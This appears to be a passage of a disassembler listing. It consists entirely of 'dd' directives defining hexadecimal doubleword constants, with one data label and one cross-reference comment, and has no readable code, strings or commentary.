dd 0EAF1011Dh, 0EEB00C12h, 222D055Fh, 0A1477728h, 68F28507h
dd 0E2F84482h, 6A6EB0C0h, 9C053574h, 295A3E4Ah, 0F1C1D15Ch
dd 17B9950h, 1A41C43Bh, 0B0D41C08h, 7E5A2E0Bh, 0E95B40B7h
dd 48978C68h, 0E10C2F8h, 1307E6Eh, 13A68ADFh, 0B5F382E9h
dd 44617F36h, 5709F273h, 8628980h, 0D3EF1B43h, 62519AF1h
dd 0E4B52753h, 5C0F0F3Eh, 0FA69202Fh, 3A5BE0E1h, 95006929h
dd 1A6B3EF4h, 92CA0136h, 975080Ah, 92D7FA17h, 16485F0Ah
dd 0AD062C6Eh, 0C885E933h, 0FC77D9Bh, 0F25A49EFh, 0DF67AAF3h
dd 0D7224DE7h, 0AD8C80C1h
dword_4F0044 dd 0D7409856h, 0AFE1E50Ch, 70EDCAB2h, 2668E9A0h, 533E004Ah
; DATA XREF: ___:004385A4o
dd 9E7D8BBBh, 21401F58h, 92B9812Bh, 7B059526h, 0BC5B8CA0h
dd 29BF0BE0h, 559EE870h, 5782FC2Ch, 0D8306850h, 5CC19070h
dd 128131C3h, 0EDD3DF5Fh, 0B3D6C1Fh, 84A13558h, 2DE84C9Ah
dd 0F703FFCCh, 0C48ED049h, 0AA122145h, 202C6E61h, 5504E936h
dd 0C0673F7Dh, 6315D05h, 64E90213h, 99BA3616h, 3E993F6Bh
dd 89809B61h, 0C5FE8AB5h, 8074E5D0h, 3D25617Eh, 0BDEDD3BEh
dd 17AC3B98h, 2F165BF5h, 0BB11271h, 90EFCB21h, 0F6CF5AE4h
dd 9D0EC058h, 566D5E60h, 0AC7A84FDh, 3181EC50h, 0C82A939Bh
dd 74E3837Dh, 59B4D5BAh, 9D80D052h, 6813C766h, 91A86C59h
dd 0BF37EC4h, 2068DB09h, 4D39008Ch, 0E9402AABh, 0CB9922A2h
dd 0D55A17BCh, 237A49D1h, 0DD48D707h, 0EDED9282h, 0C5FDF5E5h
dd 0B7EFFEF4h, 12E45D68h, 4B0B592Eh, 0D867C103h, 58D9AF6Fh
dd 7DEFF2CCh, 98C3404h, 4AC7A810h, 680976CAh, 0D1B01E50h
dd 0C0132CC2h, 86E52D11h, 7B21DAD6h, 30524B68h, 435BE5DFh
dd 0B820A098h, 1FB23B27h, 0E9756A92h, 52C3004Dh, 895839D7h
dd 77F3B5C7h, 2EC09320h, 4F352D6Dh, 729A3A30h, 79542287h
dd 0EFEAB018h, 0D0902E6Ah, 0E94F5805h, 34E7F0E5h, 61FA4A7Fh
dd 3B6F496Ch, 0B5A16931h, 169E4328h, 0CD20FF5Eh, 4E086131h
dd 500BFC6Eh, 7140332h, 7DB534DDh, 7C585B78h, 0E750552h
dd 0CE8078F7h, 4850587Dh, 77E2412h, 176BDFC9h, 0C2487266h
dd 1F2D51B0h, 0D577E818h, 0B826793Ch, 0A2297616h, 5C0809E1h
dd 66CBCC88h, 4928B95h, 0F4106AABh, 0B141430h, 84240FC9h
dd 55891A41h, 2105854h, 3A2A3283h, 28C8E2C1h, 454C3C37h
dd 0E6A1BB9h, 96CAB12Fh, 0E65974h, 25116C4Bh, 3F777C47h
dd 9698BFB8h, 77253096h, 0AC68EEA1h, 758C2A01h, 753B0066h
dd 47E28177h, 3E3CF94Dh, 0D951A7E9h, 0B41216E1h, 6801E32Eh
dd 831D6F35h, 929D01EBh, 0F0FC2D15h, 9763CE2h, 0BB989877h
dd 6CB99EB7h, 547D5680h, 0F1DDA42Bh, 3572B71Fh, 420BDF68h
dd 5647BBF9h, 0D0B82EF4h, 0F609674Ch, 0E70929ACh, 135F22DDh
dd 4EE657DCh, 0D04D0C0Bh, 3D51E82Dh, 74451C60h, 659AAF29h
dd 9FE90C01h, 62A057E5h, 0BC486530h, 90B4F01h, 0E0295E6Ch
dd 25E9C385h, 0AEF9AEBAh, 84A8E01Bh, 9359A9Ch, 30621BB8h
dd 578DF004h, 0B90EE0ACh, 13EB50E0h, 9D2D6A40h, 3C220F1Eh
dd 89E9E885h, 881386BDh, 10B1A36Eh, 8A106B3Bh, 0B912172Ch
dd 4A5F5CC8h, 0C2A78822h, 12EE9D4Ch, 2D014A4Fh, 576E4905h
dd 7800B17Fh, 3AF1706h, 6E8436B3h, 0D27AFD49h, 821074AEh
dd 8BD782D5h, 27B6F795h, 1725C292h, 6CA2256h, 20FC4C34h
dd 5FA3DA73h, 38268FF9h, 36F692D0h, 0A4A29524h, 0D568C1E3h
dd 19F83649h, 0C48B3C5Ch, 0A8887960h, 78B35394h, 0C09C2C5Dh
dd 32D8A529h, 80E4F620h, 7AC772CDh, 12C92460h, 0D58DC255h
dd 0C002237Fh, 0E27125EAh, 5F0FA116h, 0CF33A84Ch, 443AC0CEh
dd 4BE94E32h, 3C7FDF5h, 5079F1F7h, 7F72D9F2h, 5C8E351h
dd 3591212Fh, 0A529025Eh, 8602EED9h, 60B8388Eh, 9959CE2Dh
dd 0A13F1340h, 63B06AEAh, 7F1917D0h, 2B1EBFBFh, 282DCA41h
dd 796459AAh, 79BB3F29h, 1A5C2A6h, 3516D2C1h, 700A7A38h
dd 5A1308E9h, 7CAA8FFAh, 38114025h, 90F766EAh, 29A92BE6h
dd 546717C9h, 0B8221A65h, 0DFF5E195h, 0DBB057EAh, 97776855h
dd 9259182Eh, 7BBBD424h, 0C914572Eh, 0E918B560h, 40495A44h
dd 531CF1E3h, 0D6C05732h, 0A15AB2A5h, 58A90905h, 73781E3Bh
dd 37E90780h, 0B689E24Ah, 0F1FD913Ah, 0F97FC2B2h, 1CDFA798h
dd 4BBD90F7h, 1042F31Eh, 0B540BAF8h, 0A05203A6h, 42050D1Ah
dd 3E0B29FFh, 0FDFE9550h, 61255E06h, 0D67C531h, 44E16858h
dd 7CD1E95Bh, 0A8B9E4D5h, 4771AF85h, 8457C1A8h, 3613BE05h
dd 0E5D383A2h, 1CF76AB7h, 9480E985h, 0CBAA01BDh, 3F9416AEh
dd 0FA6691A1h, 0A716A44Fh, 355EE40h, 65026DBDh, 85E24D3Eh
dd 0D56909D5h, 46FF0632h, 1B5E2767h, 6809E267h, 519BF70Eh
dd 9DFD435Ah, 17F51EC4h, 680520FBh, 4C9D4B20h, 8D214B95h
dd 6D78E40Bh, 0D2752FE1h, 0D2F4E6BAh, 5D795DD8h, 0AE87B2DCh
dd 80291456h, 70AC2FBFh, 5FD1494Eh, 0ABFC21EDh, 0B1A8B539h
dd 0E6682508h, 41800676h, 40DAEFC1h, 0E5AD12BBh, 480ABC60h
dd 4E98983Eh, 0F7265543h, 6BCE825Eh, 5B67F0C5h, 502DA71Bh
dd 0D995ECB9h, 522C93B7h, 7D71AF80h, 0ED33196Eh, 8235D735h
dd 8AC8240Ch, 31F90159h, 0D03A4811h, 4DFC5A4Fh, 3314E9B0h
dd 776744Ch, 71D975A8h, 40BDACA4h, 94AEA1Eh, 48E2C47Ch
dd 515C39C0h, 0D4050A27h, 0A576020Ah, 8986435Fh, 50F837F9h
dd 71C85916h, 42F62CFEh, 0BE4EFA4Ah, 6B5E7E30h, 2F5201D6h
dd 0E0CBEAB8h, 0E7D119A1h, 0F057CAC1h, 0B587FA78h, 5D5CB961h
dd 2041FC6Bh, 6BBFF99Dh, 3186107Dh, 2CAD98D0h, 92436FE9h
dd 0F97B985Eh, 0C3CFAF60h, 5B08027Fh, 0F10CB1E2h, 0CB400659h
dd 33595248h, 0FEE9C94Fh, 0D5F78D35h, 0D3BEE408h, 0E45FD0CFh
dd 0B68FEBh, 0D483803h, 0B4CE7BAh, 84BE4C0Ch, 0C71474DAh
dd 12E30E10h, 65EECA68h, 4A8BABEBh, 5F0CE90Dh, 1AA1E0CBh
dd 4A02B825h, 5F080286h, 0B7E96053h, 6A00939h, 0A0F54D5Dh
dd 36BCED59h, 0AFD44F07h, 42C20600h, 0C0291E35h, 3A79F50Ch
dd 9D2EE91Ch, 805A48CBh, 46685101h, 12612708h, 0C55F91D7h
dd 2FCFF92Eh, 0BA0E565Fh, 891308Ah, 86550C7Fh, 45F4C1C3h
dd 7A97D1FAh, 4F2C26F7h, 8802EA5Fh, 0D12FD3BBh, 3D82896h
dd 7916449Bh, 4E40D129h, 7B958708h, 1DE90630h, 0C702374Dh
dd 32B47E06h, 0BC38FA5Ah, 0CADF42B4h, 504228D4h, 5AA48056h
dd 0B86A1C29h, 35F12064h, 785769Dh, 0F766CCEDh, 9A216F7Dh
dd 20419F40h, 719D3F8Ch, 0BDE4EF7Bh, 0FD8AAAAFh, 5E5F5605h
dd 75CDEB31h, 9DB62F30h, 715D2A62h, 0B58566D9h, 1EDE7E9Dh
dd 79B5227Dh, 0BE56406Dh, 9D2D48A0h, 13DAD847h, 0F0B862B7h
dd 0FC2568F2h, 1DEC651Ch, 0FB74ED8Bh, 7D7D6471h, 596E9904h
dd 0A900B452h, 5E92751Eh, 0DBBF5741h, 4BE6B861h, 3061DF9h
dd 0E0F792D1h, 4B1612EDh, 0A6E959B7h, 0D3780E27h, 2AC23CDDh
dd 7F4F2E35h, 2813E0DAh, 0FD014CA1h, 5A0B4D1h, 0ED213B93h
dd 49F07A8h, 95D03933h, 98681F02h, 0FAFB2E4Eh, 4E906967h
dd 46BD5EB2h, 3DB9509h, 0BA965649h, 96A0A24Ah, 320D29EAh
dd 0FA4A10EDh, 75A4BB02h, 0BD607998h, 2AEE3E56h, 9E764A98h
dd 5F1F1620h, 0A266805Bh, 47092672h, 44106DE9h, 0C3303D8Ch
dd 6B8EB419h, 6C15DCFAh, 5FF80FC5h, 7A3222BFh, 46AB5904h
dd 0A3C1EB96h, 0D0F668C4h, 0FC0B7A82h, 80D66068h, 26FAEAC3h
dd 4701032Dh, 295C07D3h, 9FE4AB77h, 16DB8080h, 0BB48CC01h
dd 737936BAh, 0E910386Ah, 90189924h, 0F89C5B64h, 0BDC440EDh
dd 0E373209h, 0A02C112Ch, 2771A5C0h, 2C1A6C29h, 995D0C05h
dd 0E41B60D2h, 0B0F18DA6h, 0F1B41012h, 9CC13880h, 40A08D50h
dd 689D8922h, 7354CCFEh, 3082BF1Bh, 46C1C621h, 79680080h
dd 2AB13D5Fh, 541AD317h, 50073C25h, 6F723454h, 2EEEA6A1h
dd 0E0812AD2h, 42CAD622h, 81B880Dh, 0FD50E905h, 0F7479692h
dd 557D8046h, 4DBB5303h, 0F116E36Ah, 0FAD8CAF3h, 0A100957Eh
dd 0AE443ABDh, 5AB99858h
dd 0F22B68A1h, 63FACC6Ah, 413EB055h, 0C39B3082h, 2CBA5213h
dd 0E2D92E89h, 73ABA93Bh, 60440405h, 0AAE29BDh, 0AFA7D4BCh
dd 0A46C7981h, 8E4CEC2Eh, 0C713BBB1h, 0B95168B3h, 0CC05AC6h
dd 5F10DEDh, 567901E6h, 12DC6049h, 50915429h, 1539AB6Bh
dd 20BA894Fh, 56321066h, 42F324A7h, 5AC5574Dh, 0A6D0410Ah
dd 54025CACh, 0D57CD257h, 24080128h, 210C2792h, 2114591Ah
dd 38D95BD9h, 14FC1724h, 0FA7224FFh, 0B551DDF5h, 8A2F9DC1h
dd 4756140Ch, 4397010Bh, 0FB3111D2h, 0A9D1E2F4h, 6171DAA9h
dd 4E69E1DFh, 0F2020539h, 0D0C83F2Fh, 12198177h, 5C3C6F35h
dd 4D500448h, 4F578A73h, 27141D76h, 8BE98F38h, 2949EF92h
dd 37E67DC2h, 514C38E6h, 2CE3D51h, 68AB09EEh, 20527899h
dd 594C60A2h, 0A1B1071Dh, 7FAEC980h, 2C0E3EA6h, 8AEA13D1h
dd 0EF8905F5h, 0A7B8DEE9h, 5074050Eh, 0D0F73F00h, 7D036C35h
dd 0E0C16FB9h, 4C19C004h, 0E0204E2Bh, 0CB40FC31h, 308414B6h
dd 9F1CF4F1h, 64D6202Eh, 4866DCF0h, 0FD24A49Bh, 120820ACh
dd 0BCF5E4E9h, 5753C155h, 0C88B6852h, 0C03262Fh, 3DF2CEEAh
dd 0AFC7BD8Eh, 0AC7825AEh, 84D44E7Eh, 40064FC2h, 5012352h
dd 39E964D6h, 0C9F04E09h, 33F659E2h, 457640D7h, 4D6D2526h
dd 0E22004D4h, 71177902h, 61F101A9h, 353D9038h, 0D42D2477h
dd 245C8426h, 0A208BE0Ch, 0B5A1C4Bh, 0EF0E58C7h, 4B0A524Bh
dd 0A4471620h, 280F8B9Ah, 854326D5h, 77129671h, 589309C2h
dd 1D1BD69h, 0A3830A4Fh, 523EC96Bh, 0C32A2D61h, 0BFB52953h
dd 884BCF8Bh, 860C0548h, 0CA32080Dh, 5107A02Dh, 0FAD17288h
dd 0F5584C59h, 0BB4167E1h, 0E64534E1h, 0A4C2ECC7h, 6392D7F7h
dd 22966C78h, 16BEF565h, 149AEFB8h, 4D20DE4Ch, 4562599Eh
dd 4FE775E7h, 7A0224A4h, 4060CD3Dh, 7339DB28h, 0B8214A2Ch
dd 288915CBh, 1FBB0343h, 0E969A17Dh, 283BACE3h, 0E5BD5928h
dd 0E956851Dh, 0AFBB5636h, 7861E2Dh, 55A352E9h, 307DDF4Ch
dd 0D4EEE3F2h, 4C343D3Ch, 11A108Bh, 0B24D1677h, 0D4536154h
dd 30614B23h, 55C29CE2h, 0E24C7DB9h, 0CF685D9Dh, 61C4A25Eh
dd 29827EC5h, 0AB70DD40h, 28590881h, 9851090Ch, 0F1627D33h
dd 17910808h, 7F31A1DAh, 9D682A38h, 0F15D5642h, 0CD44BDCh
dd 4A98108h, 0B3503768h, 0A1A132F5h, 0FFB2A95Ch, 129DD482h
dd 0C44E1BDCh, 0BD4B6BABh, 0F5806C2Eh, 0F722605Fh, 0F0E9DD5Bh
dd 95296B06h, 631C0C51h, 0D2A524EAh, 0FACA0030h, 0E9036F0Fh
dd 40824249h, 7A3BE1DEh, 0FB292C02h, 2D7B8222h, 84DE57C3h
dd 0A93E5351h, 74FBA71Eh, 0C9905A7Fh, 799DE4CBh, 0F68107ACh
dd 8B800244h, 16EECE75h, 0DDA955E9h, 5F0BECC0h, 9F68449Fh
dd 0C05EAF84h, 370D05ADh, 7C782C0Fh, 0C2C41DD1h, 0AF81F52h
dd 0FB189300h, 0EFC7E937h, 5E8419B9h, 0E6AE5455h, 9AACD393h
dd 0CE6904B4h, 765809DBh, 0FB88C40Dh, 34E4F961h, 1C873C6Fh
dd 44E72610h, 194B56CEh, 0B9683B04h, 0F2F602ADh, 0F87D2A08h
dd 0D1292746h, 0AB09A3D2h, 0F0531E7Ch, 0E90780CCh, 9E81E599h
dd 9A71472Dh, 79C47B16h, 796AC181h, 0B47B2EFDh, 9304F56Ah
dd 21A1609Bh, 0EA8BC4h, 0E42B19C6h, 0C5BF51CBh, 0B69AA7A4h
dd 73E7A75h, 5F7356F2h, 0ACC2604Ch, 7F096FA3h, 0F6CBE6E9h
dd 66434230h, 171E900Ch, 0BE2E4E73h, 0C836FB18h, 40BF4C7Dh
dd 58C0D439h, 50D25697h, 0BABF2176h, 31E155BEh, 0FD203B34h
dd 9E4A9868h, 0C22B7233h, 73B26F68h, 84FE19C9h, 12FB9301h
dd 0E760BF80h, 511B61E9h, 0EC202801h, 0A5CF54C9h, 392014F3h
dd 0DE26FCAAh, 236A463h, 61F869C4h, 257E0962h, 15375000h
dd 2FE94B45h, 0E4F4CA57h, 0AB27B2CAh, 88025F42h, 5C04F6B1h
dd 1FF7C1EBh, 589D599h, 955FC2FAh, 1CEAE440h, 993E5B7h
dd 3B7DB2DFh, 0C770D9FAh, 0B5221659h, 381E6826h, 322DFE5Bh
dd 9531A530h, 16EC5254h, 69A18ACFh, 7BBF3F6Eh, 0C41529A1h
dd 258581B0h, 0B97E21F9h, 8D68A451h, 145F5E13h, 4027667Ah
dd 1C3565E0h, 55B26216h, 9F7C29BCh, 0F4E9FCF8h, 0F1623E6Fh
dd 0B055442h, 0F0BF8701h, 7C4FE10Fh, 0AAA015Ah, 0D5E94231h
dd 116D326h, 472A01C2h, 3523635Dh, 7B9A659Bh, 94E97F42h
dd 4B245786h, 222C497Fh, 0D543933Bh, 0B98A7E96h, 0AB5AE884h
dd 0C868603Dh, 0DD895501h, 577D1568h, 0A01ED52Eh, 0ED2DC0B5h
dd 7BD7C04h, 60FD30E7h, 5A7E685Bh, 542C23BBh, 4C2F011Ch
dd 9AC7884Eh, 12222630h, 94F4040h, 0F79C3117h, 0A8B82A0h
dd 59082427h, 0B9516287h, 4C292683h, 49892848h, 515A07B0h
dd 0FC93F1B5h, 0B612007Bh, 22EE80CDh, 7C95F028h, 8CE984EDh
dd 0A5C9ACF1h, 4A3D5BFAh, 603F1A00h, 0E38172DEh, 4814752Ah
dd 9300B76Bh, 0E93E993Bh, 48C0C560h, 0EC05D829h, 1642711h
dd 5501017Bh, 886C4968h, 4C907430h, 8F8143F2h, 4179B133h
dd 0E84289F8h, 9B27E918h, 4CB2F6F9h, 912A37Ch, 0EA8660Fh
dd 3FCDF724h, 3148AA2Fh, 3D3B4D22h, 2D4B7C32h, 8851CD80h
dd 0B02DE5F9h, 55129558h, 0A64DE923h, 2A9F0B92h, 88257F2h
dd 0CCF5C96Dh, 505600B5h, 0C42137B8h, 0CD0BBE46h, 0C2B93BDEh
dd 0CF8EDD13h, 2F3DF5C8h, 698A51D3h, 0C3019ED3h, 46614CDCh
dd 0EB281E38h, 87591708h, 0C962ED1Ch, 2C4D227h, 755E18C5h
dd 51555910h, 0DB5CEBCFh, 89AEA796h, 7F6521B8h, 0AE4AB6DAh
dd 0DE68C320h, 0B74931Eh, 0B077F5B3h, 823301DDh, 2A6E37C1h
dd 0C676A8D1h, 0CD07ABBEh, 60162860h, 64A58BF1h, 6EE1304Fh
dd 27C6F280h, 0A3E9493Eh, 15DF062h, 0A86DF6D8h, 0B8F15BD3h
dd 0A087E51Fh, 0E7BB3CB5h, 0AFA3D6ECh, 0F29CAFD2h, 642B27E9h
dd 8D0B3352h, 1DB410h, 4EF9D24Eh, 95E978D4h, 770911C4h
dd 0DC07D74Fh, 494B1278h, 8AAEC50h, 135D037Fh, 3AD93CBDh
dd 18A37E1Eh, 0EE36959Fh, 7007B802h, 6E403B85h, 150026FFh
dd 5CC78131h, 0C137E865h, 0E1B9E30Ch, 7D123FEEh, 92C8AD0Ch
dd 62F40180h, 0E4C0CCFEh, 92108207h, 75557AE9h, 6E564E1Ah
dd 22A84052h, 0F82BE116h, 94EED365h, 8B25205h, 3109AB39h
dd 0F7D100C7h, 4C626BB2h, 0FB00F74Bh, 683FD105h, 0F296780Ch
dd 0B206C06Ah, 3D380960h, 12DD4868h, 546C6482h, 77CD48E0h
dd 1E6E270Bh, 273D7845h, 15E0ADE9h, 7B1617BFh, 64805BAAh
dd 5A65B389h, 0EEBAA10Ch, 681C6F4Ch, 0F42F1524h, 344F792Fh
dd 0B5EAB017h, 0C5304D02h, 5DEC0858h, 0BDA6FA71h, 2BB32F0Bh
dd 0C4707692h, 27ECF819h, 0A0A9D45Bh, 52687593h, 1E007F7Ch
dd 0C1080B59h, 250F03E0h, 27A32A53h, 2B45435h, 0FD4F37A9h
dd 0C0E48BB8h, 0B8DBB9F0h, 0B81B125Fh, 3D030987h, 3F106175h
dd 3073C9F2h, 9DBE5A70h, 5CC5C5D4h, 0C16B80FBh, 6248593Ah
dd 1505712Dh, 0FD896747h, 2C58D80h, 0FB1216A5h, 4941BE31h
dd 4E3E6850h, 97FDF23Eh, 72D42CB8h, 0D8F6B02Dh, 3C80E688h
dd 0CB89530Bh, 72752262h, 0EC5A4E2Ah, 0EB82F45Fh, 0AFCD2DCh
dd 88ACB48Ch, 32923EABh, 3161FEDDh, 4D3367FCh, 0AD4DAA4Ah
dd 0E06E5B3Ch, 5D04B97Eh, 290D8A06h, 0E98A60FFh, 22B16E0Bh
dd 8A628B3Eh, 6A140565h, 78C34300h, 5A770E40h, 0ED08429h
dd 72CA6808h, 0E1E963F0h, 8139EE85h, 0B233A83Fh, 61E97E60h
dd 515F7C68h, 80842DA1h, 1A58F14Bh, 30C15051h, 7E1207E1h
dd 0B15B93BAh, 23ED0D90h
dd 0E4372730h, 7D0F32DDh, 4897956Eh, 8226D6CCh, 0ECB86B85h
dd 892576A9h, 897FDEFAh, 7DD9087Dh, 45203228h, 0E8C00593h
dd 826F2C07h, 5C057BE6h, 0FB192CEBh, 0F7C7C060h, 9A0D1602h
dd 92990963h, 0D8290F0Ah, 83A14A78h, 0EF03DD70h, 206E6E12h
dd 4B10538Ah, 5868138Fh, 0F9662EE4h, 0D95E82C3h, 302CBED2h
dd 9DEEA079h, 9DFF62Eh, 8A691B6Fh, 0DF81E058h, 618815B4h
dd 0EBB801E4h, 6B690635h, 215AD404h, 50E3CBEBh, 8FB3318Eh
dd 25BA7D08h, 17445440h, 929CDB9Dh, 1E38D852h, 250A4B12h
dd 2FA3012h, 7D970CFFh, 45E503D7h, 2FBD8FE9h, 30016CD8h
dd 980C1D7Ah, 8E2DAF86h, 4EB78051h, 9F152D22h, 7000BC2h
dd 0E9DD0159h, 88A0347Ah, 16EEFC30h, 0E1B9A665h, 2FE6E3BEh
dd 7613F885h, 0C9BC275Eh, 2A37ED49h, 308D6913h, 0A3EB446Eh
dd 283E5446h, 9227A652h, 40695CBFh, 4B7E6B5h, 78C78027h
dd 83CBEBCAh, 84ABD259h, 4900EDCBh, 0D7F7F987h, 4D909CDh
dd 8D247B40h, 59F7638h, 0A5509BEAh, 4038B91Bh, 772AE908h
dd 0D68096CCh, 0F0982EF1h, 417E5D4Ch, 586F2007h, 77C05E5Eh
dd 0E295ABF5h, 0E7E93884h, 3D89F3CBh, 0DC352D53h, 9374A5FBh
dd 0D6ACEA8Bh, 5478CB68h, 1179E135h, 0CB1EA21Ch, 0D101FF8Bh
dd 57F4960Eh, 0C592E3A5h, 0ABA0DBE9h, 55982768h, 0AE60CB76h
dd 4E71A630h, 0FC12FE5Fh, 7D54550Bh, 837DED33h, 1BC7824Bh
dd 4E3784A0h, 350BF74h, 0A2E2D128h, 3B5EA524h, 0D2F74A02h
dd 3A8BDD52h, 0EE455E60h, 312B0F0Fh, 0FAD23CD7h, 26C18FA9h
dd 6A93F594h, 5E4ADEE0h, 5EF9A73Dh, 92C1F8B0h, 0B2F9803h
dd 0E8DC18AEh, 467F1C70h, 8714D92Bh, 5D65571Ch, 0E9276736h
dd 27EF56EEh, 2D8B655h, 52CAEB80h, 464178B2h, 7F432E2h
dd 534F7419h, 740A7029h, 494202CFh, 9318E914h, 0BFC16EDFh
dd 0E9090B71h, 6AEC7C0Ah, 19203A0Fh, 1B4424A0h, 9A9D4B3Dh
dd 1727ACh, 9C2D3988h, 322974Fh, 0EC541ECh, 0F063C82h
dd 219B5D5Bh, 0F3814388h, 0ADB2B00Fh, 0EB573F40h, 0E9C4AF1Ch
dd 0AE1EDD2Eh, 0A49E3518h, 2909CB98h, 804ACD55h, 626A231h
dd 0E4B617Dh, 6009F9F8h, 489DDDABh, 4D29E915h, 71057DE6h
dd 817DB440h, 87E1910Eh, 77ABED53h, 0AFC02165h, 4E847EACh
dd 4175FD44h, 35B45008h, 10013849h, 89072325h, 0E06A576Ah
dd 0AC055EBAh, 7775BF3Fh, 0F73DAEF8h, 0E4F84Fh, 42163035h
dd 0F197684Fh, 77396B26h, 17B9A93h, 0AC173590h, 97949F49h
dd 0E975FCC2h, 682068CAh, 5470130Ah, 13D4AA21h, 0F71511FEh
dd 3CDE0075h, 76B9EDBBh, 64E34C27h, 0C1758344h, 370C3598h
dd 0C63A636h, 3E1EC906h, 5E4DB290h, 945D7F2Dh, 83E91060h
dd 0E0B204D6h, 0BAC2CAFEh, 92795602h, 2558BC9Bh, 0BCA322ACh
dd 3A80AA9h, 4F7D3462h, 7A1A17D9h, 683A37A6h, 53F1732Fh
dd 4520578Bh, 5596AEh, 0D76FE32Fh, 87EAE972h, 3D823A9Ch
dd 0DD64A557h, 0A78049E4h, 912547DEh, 0BBA27D49h, 3DF45859h
dd 8057B560h, 8BB16EDh, 50CE1DEBh, 0DDF61F7Fh, 200AF54Ch
dd 0B40CCC03h, 0C5F89906h, 0B3530B09h, 135BFC4Dh, 0D346BCF3h
dd 2D7500EEh, 481561FDh, 5D3E913h, 2B9A79B9h, 53077756h
dd 0CF8F3A8Eh, 0EBFCF7DCh, 255A7DE9h, 5AC460ECh, 47514853h
dd 0F10DD07h, 9CED6A70h, 2335C9F5h, 7202C56h, 71A5E4Ch
dd 3DE5479Eh, 2B5617CFh, 0A9DBECB8h, 6D9E07F1h, 0C2CCDA8Dh
dd 37C2206Ah, 9057D725h, 767D0F2Dh, 0CECC5E38h, 0C905C674h
dd 29245B34h, 80685B1h, 534A050Ch, 0F05F09EFh, 0E40AC695h
dd 961F7554h, 6928D12Dh, 1570AA84h, 2D3350B3h, 37191F13h
dd 287C4FBh, 0FCE95F08h, 0F327D85Ch, 515A0DE6h, 0C00FCAF6h
dd 0F03157F6h, 60CDD15h, 0A2141C53h, 25763B0Dh, 0D1C10C2Dh
dd 88EFE07Ah, 2425DEB4h, 1DE0C0B8h, 1C491EBBh, 0E44B97C9h
dd 1F71E2EEh, 4797F4Ch, 71A82092h, 0E99580EFh, 1B95FCBFh
dd 73049597h, 0AC16DCB9h, 0B0C611BCh, 46CAC102h, 0BC7E70AFh
dd 7D0A9CBCh, 0C490FC56h, 732501C0h, 0EC4C5E4Dh, 0B0CD087h
dd 591C8B59h, 0D4DEC40Eh, 0C3B7EEE3h, 9241BC5Bh, 0F98901BBh
dd 200CE93Ah, 4F16F5CEh, 9C18319Bh, 7111C738h, 4486F191h
dd 0F08C36A0h, 98D77420h, 9A3D3579h, 8ACF835Bh, 8FB70D3Dh
dd 6D39F780h, 0E2E07FB0h, 17C2F6D5h, 1DD4204Dh, 0E1802069h
dd 98BD88EEh, 0B5490381h, 0A82FDEE4h, 0F15D81C4h, 9C606E7Eh
dd 53764166h, 32C13599h, 7A877C36h, 65AE5F5Ah, 0C21BAD7h
dd 27236537h, 5814C340h, 7E84812Dh, 4609E7h, 88088523h
dd 543B539h, 61D0AB9Dh, 4F6975D3h, 0C029C407h, 4764C692h
dd 1259262h, 6B668BEFh, 4B91788Bh, 0F59FD03Bh, 3937771Ch
dd 0F5E9481Fh, 0D96A8380h, 58B0A1D1h, 97237A00h, 48AE0D7Dh
dd 357B1C34h, 4A11C951h, 0F0CA304h, 0F06C0268h, 6C527550h
dd 1E3D7549h, 0B80B43DBh, 0E04DA7F3h, 72D4BDF2h, 9FCB658h
dd 819BB6E5h, 0DA64077Bh, 88FA5A17h, 0F76585E5h, 0A9215575h
dd 3101DC11h, 0C99D7BF8h, 14A947Bh, 4A4144D3h, 42F82B42h
dd 0E933E096h, 64C9B225h, 5E2EC129h, 6E7DF07Ch, 0DDA961C1h
dd 2A000B79h, 814C0F55h, 662E02E3h, 0EB0E4682h, 0F3E097C5h
dd 0E9C09F3h, 0D1546CFCh, 5B40F8A8h, 0FC0FDBEh, 82EBAA1Bh
dd 5FC5E55Eh, 4DB9E7B8h, 7B2E0E04h, 0F2FACE21h, 25E90CCBh
dd 2BE8ECBh, 2E31154Eh, 46D5DEF7h, 0B8466963h, 26398700h
dd 0E92FD3ADh, 27D659A5h, 16F6CEDAh, 9A026B9Fh, 4452443Dh
dd 0F101C3E0h, 68348F21h, 219D7EF9h, 7AF1A73Dh, 0EE65408Bh
dd 0D46818DCh, 9891311Ch, 73C98080h, 4AF1382Eh, 4259CA1Eh
dd 0D4301FEAh, 0D9811B5Fh, 690FFECh, 87A04F85h, 0E3283FFCh
dd 0BCDAEB3Ah, 0C0FAB4D7h, 0F280BE78h, 0CA00B073h, 3E2C002h
dd 2F97B151h, 0B10561E9h, 95D7875Bh, 24CAB4E6h, 16E3E844h
dd 0FAB77796h, 53D7A190h, 0EC4250ACh, 0A211357h, 8C1D8136h
dd 0C472382Ch, 4A095E9Bh, 29175A80h, 0DEBD0279h, 0D2F74340h
dd 0F200047Ah, 0A5749E9Bh, 0BE7C2DE9h, 5C9862CEh, 0F8F43277h
dd 0A66141Eh, 0DF06EE85h, 0B59960E9h, 2630CD76h, 70ED6CB2h
dd 2AC03065h, 0FED8FC0Ch, 0FFEC2B4Eh, 7B26E90Bh, 0C450F8D4h
dd 279C9D95h, 3D1796A0h, 0B425CD30h, 96A04839h, 2BB40F18h
dd 7DE945FDh, 0AEA894F8h, 4FFBFBC8h, 0CD2DAFB4h, 4F5BD7Bh
dd 74EF1307h, 0CD1E18BCh, 4E9CC941h, 48464E83h, 9668620Bh
dd 0AD713017h, 39E3162Ah, 27F3E829h, 0D1A82250h, 948525Ah
dd 6C107D2Fh, 700DC62h, 27786859h, 49EEB6h, 6F0FCD74h
dd 750D0041h, 51FB93Eh, 0AC3A0386h, 7FF9801Bh, 0AD35132Eh
dd 0D93627B0h, 0EEF0847Fh, 67BB65D0h, 51974C15h, 0BBE88C13h
dd 512778Eh, 258E4BB4h, 0B5BE6D7h, 6A6E1767h, 46D03709h
dd 70AF594Bh, 0B431D90Bh, 1F53948h, 700C18F7h, 177FAAE9h
dd 7E38EEBEh, 4F3F9257h, 61EE54h, 413AE659h, 4C2D5276h
dd 1086E73h, 745B1829h, 77132A65h, 0DCF0463Ch, 0B8569D01h
dd 4E036850h, 1E83227h, 0B80C4770h, 400F303Ah, 36EC4DB5h
dd 808BFB22h, 814A62C2h, 147078DEh, 17C7BDF2h, 931145ADh
dd 0AB3DEF5Bh, 12CBB67Ah, 39BF2B1Dh, 89C12FF5h, 0F768BEE9h
dd 0F931661Dh, 8C8579CCh, 55598CB3h, 2B9E5AFCh, 0C8010Bh
dd 8F14DC13h, 0E9C14024h
dd 8292F3E8h, 0D724EB77h, 0C5929974h, 5D72B201h, 0D5E1588Fh
dd 0C6C77889h, 2929756h, 7389601h, 0E16A3437h, 71A83E85h
